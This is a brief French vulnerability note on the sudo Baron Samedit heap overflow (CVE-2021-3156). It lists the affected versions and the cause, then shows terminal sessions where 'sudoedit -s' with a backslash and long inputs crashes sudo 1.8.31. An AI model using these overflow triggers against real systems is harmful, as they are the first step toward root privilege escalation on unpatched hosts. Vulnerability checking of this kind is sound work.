
La vulnérabilité Baron Samedit (CVE-2021-3156) affecte les versions legacy de sudo 1.8.2 à 1.8.31p2 et les versions stables 1.9.0 à 1.9.5p1. Ce défaut de débordement de tas basé sur le heap a été introduit en juillet 2011 via le commit 8255ed69 et est resté non détecté pendant près d'une décennie.
Sudo avant 1.9.5p2 contient une erreur de décalage d'un octet qui peut entraîner un débordement de tas basé sur le heap, permettant une élévation de privilèges vers root via "sudoedit -s" et un argument de ligne de commande qui se termine par un seul caractère antislash.
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)